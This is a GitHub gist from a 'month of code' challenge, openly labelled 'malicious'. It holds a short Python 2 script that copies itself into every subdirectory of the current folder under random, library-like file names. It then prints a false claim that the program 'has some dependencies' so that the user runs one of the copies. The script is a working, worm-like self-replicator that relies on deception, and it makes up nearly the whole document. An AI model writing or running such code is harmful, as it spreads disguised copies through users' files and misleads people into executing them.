Skip to content

Instantly share code, notes, and snippets.

Created March 31, 2014 17:00
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
What would you like to do?
#MonthOfCode day 26 - malicious
# this code is awesome, you will see it everywhere!
import sys
import random
import os
alphabet = [chr(i) for i in range(ord('a'),ord('z') + 1) ]
def genRandomName():
name_length = random.randint(2,8)
lchar = list()
for i in xrange(name_length):
lchar.append( random.choice( alphabet) )
prfix = sfx = ''
if( random.choice((True,False)) ):
prfix = 'lib_'
if( random.choice((True,False)) ):
sfx = '_ref'
sfx = '_sample'
return prfix+(''.join( lchar) )+sfx+'.py'
inf = os.walk('.')
ll = [ x[0] for x in inf]
data = open( sys.argv[0], 'r').read()
for a_dir in ll:
last_fname = a_dir+'/'+genRandomName()
f = open( last_fname , 'w' )
f.write( data)
print "This program has some dependencies, run "+last_fname+" first."
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment